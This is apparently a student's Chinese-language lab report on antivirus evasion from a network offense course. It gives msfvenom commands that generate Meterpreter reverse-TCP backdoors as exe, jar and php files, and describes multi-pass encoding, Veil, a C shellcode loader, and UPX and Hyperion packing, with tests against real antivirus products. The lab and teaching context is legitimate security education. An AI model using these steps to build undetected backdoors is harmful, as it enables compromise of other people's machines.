Exp3 免杀原理与实践 20164323段钊阳
网络对抗技术 20164323 Exp3 免杀原理与实践
免杀
一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
1、杀软是如何检测出恶意代码的?
基于特征码:杀软会将恶意代码中有明显特征的一部分作为特征码,并建立起特征库,在检测时则比对特征码是否匹配。
基于行为:杀软会监控运行的程序,像进行修改系统注册表、启动项等可疑操作的的程序就可能是恶意代码。
2、免杀是做什么?
让后门程序不被杀软检测出来
3、免杀的基本方法有哪些?
msfvenom直接生成、msfvenom多次编码、Veil-evasion、C+shellcode、UPX压缩壳、Hyperion
4、离实战还缺些什么技术或步骤?
怎么把后门植入别人的电脑,还有ping通两段网络
实验内容
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;
1、使用msf编码器
通过上个实验中学到的命令生成后门程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168. 38.128 LPORT= -f exe > met.exe

将生成的程序上传到virus total试试结果

使用msf编码器对后门程序编码10次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i -b ‘\x00’ LHOST=192.168.38.144 LPORT= -f exe > met-encoded10.exe

再上传到virus total试试免杀操作是否有效

2、使用msfvenom生成jar
使用Java后门程序生成命令
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.38.128 lport= x> 20164323_backdoor_java.jar
3、使用msfvenom生成php
使用php后门程序生成命令
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.38.128 lport= x> 20164323_backdoor.php

4、使用veil-evasion
首先需要安装veil,我尝试了一天安装,换了好几次源,更新了win32.win64最后成功卡在了展开对象,远程意外中断,最终只能无奈选择拷别人的虚拟机。此处因为是别的虚拟机,ip地址变了.
设置veil
use evasion use set LHOST 192.168.1.115 set LPORT


把它挂上virus total

感觉自己做了假的veil,还是这么多的,没有什么用
5、利用shellcode编程(这里又使用了自己的虚拟机)
先执行shellcode生成命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.38.128 LPORT= -f c
得到shellcode

任务二:Linux平台交叉编译Windows应用
1、使用交叉编译
新建.c文件,将shellcode和c代码组合到一起
vim 4323met.c
unsigned char buf[] =
将shellcode替换到此处
int main()
{
int (*func)() = (int(*)())buf;
func();
}
执行
i686-w64-mingw32-g++ 4323met.c -o 4323met.exe
编译成exe文件

然后把它挂上virus total测一下,同时电脑也查了出来


加压缩壳
upx 4323.exe -o cal_4323.exe

但是还是没有骗过杀软还是杀出来了
使用加密壳(Hyperion)
将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
进入目录/usr/share/windows-binaries/hyperion/中
输入命令
wine hyperion.exe -v 4323_upxed.exe 4323_upxed_hyperion.exe
进行加壳

这个实现了免杀的效果,,,不过我所有加壳的文件在windows都运行不了,我只能使用之前没有加壳被杀软杀出来的exe进行回连(腾讯电脑管家),发现成功了,我找不到原因在哪里。。


任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
我使用了两台电脑进行测试,一台是腾讯电脑管家,一家是window自带的Windows Defender
腾讯电脑管家没有检查出来,windows Defender疯狂报毒(可能是新买的电脑,杀毒很强吧),但是两个回连都失败了

我ping了两台电脑,发现都ping不通,我尝试了改了网络的连接方式,改成桥接,发现还是行不通。找不到原因,但是自己的电脑可以回连成功。
问题
遇到的问题有很多,veil的安装,还有加壳的exe打不开,还有第三台电脑回连不成功,回连应该是网络的问题,如果两端网络可以ping通的话,应该可以成功,加壳的exe打不开我查了一下可能是权限的问题,但也没有提示权限不足,可能是windows自带的问题。
感想:
这次实验做的好失败,做的所有东西好像都被杀软查出来了,没有被杀软查出来的,却打不开,不过免杀技术还是很有用,在平时的生活中,我们电脑中的杀毒软件可能并不靠谱,就需要我们自己提高防范意识,不要去下一些乱七八糟的东西。
Exp3 免杀原理与实践 20164323段钊阳的更多相关文章
- Exp2 后门原理与实践 20164323段钊阳
220164323 Exp2 后门原理与实践 (1)例举你能想到的一个后门进入到你系统中的可能方式?在使用盗版软件,盗版系统,甚至游戏外挂时,往往会让我们关闭杀毒软件,.(2)例举你知道的后门如何启动 ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165336 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165336 Exp3 免杀原理与实践 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 根据计算机病毒课程知道了每个病毒都有其对应的特征码,杀软是根据这 ...
随机推荐
- Rhythmk 学习 Hibernate 01 - maven 创建Hibernate 项目之 增删改查入门
1.环境: Maven :3.1.1 开发工具:Spring Tool Suite 数据库 : Mysql 5.6 2.项目文件结构 文件代码: 2.1 .pom.xml <project x ...
- asp.net 不用控件,自动登录(用于和其他系统对接的时候,自动登录系统,用户体验好)
if (System.Web.Security.Membership.ValidateUser("admin", "123456")) { //这句话很重要,他 ...
- $(function(){})理解
$(function(){}) = jQuery(function(){}) = jQuery(document).ready(function(){ });
- centos 搭建owncloud私有云
ownCloud是一个免费开源的软件,用于为分享文件,日历,联系人,书签和个人音频/视频.非常容易安装和管理. 1:搭建环境配置:你的服务应该工作在LAMP上.参考下面链接去安装一键LAMP服务. h ...
- Hadoop之MapReduce学习笔记(二)
主要内容: mapreduce编程模型再解释: ob提交方式: windows->yarn windows->local : linux->local linux->yarn: ...
- SqlMapConfig.xml配置文件的配置内容
SqlMapConfig.xml中配置的内容和顺序如下: * properties(属性) * settings(全局配置参数) * typeAliases(类型别名) * typeHandlers( ...
- [Selenium] 怎样判断是否适合自动化测试
实施自动化测试前需要对软件开发过程进行分析,以观察其是否适合使用自动化测试.通常需要满足以下条件: 1)需求变动不频繁 2)项目周期足够长 3)自动化测试脚本可重复使用 4)手工测试无法完成或者需要大 ...
- [Jmeter]如何才能通过ant运行jmeter
在开始运行build.xml之前,还有一步必须要做,那就是将JMeter所在目录下extras子目录里的ant-JMeter-1.1.1.jar复制到Ant所在目录lib子目录之下,这样Ant运行时才 ...
- python 多线程简介
Thread类定义了以下常用方法与属性: Thread.getName() \Thread.setName():老方式用于获取和设置线程的名称,官方建议用Thread.name替代 Thread.id ...
- 如何让多个android listview同时使用一个滚动条
如何让多个android listview同时使用一个滚动条 重新设置ListView的高度 /** * 设置listview高度,注意listview子项必须为LinearLayout才能调用该方法 ...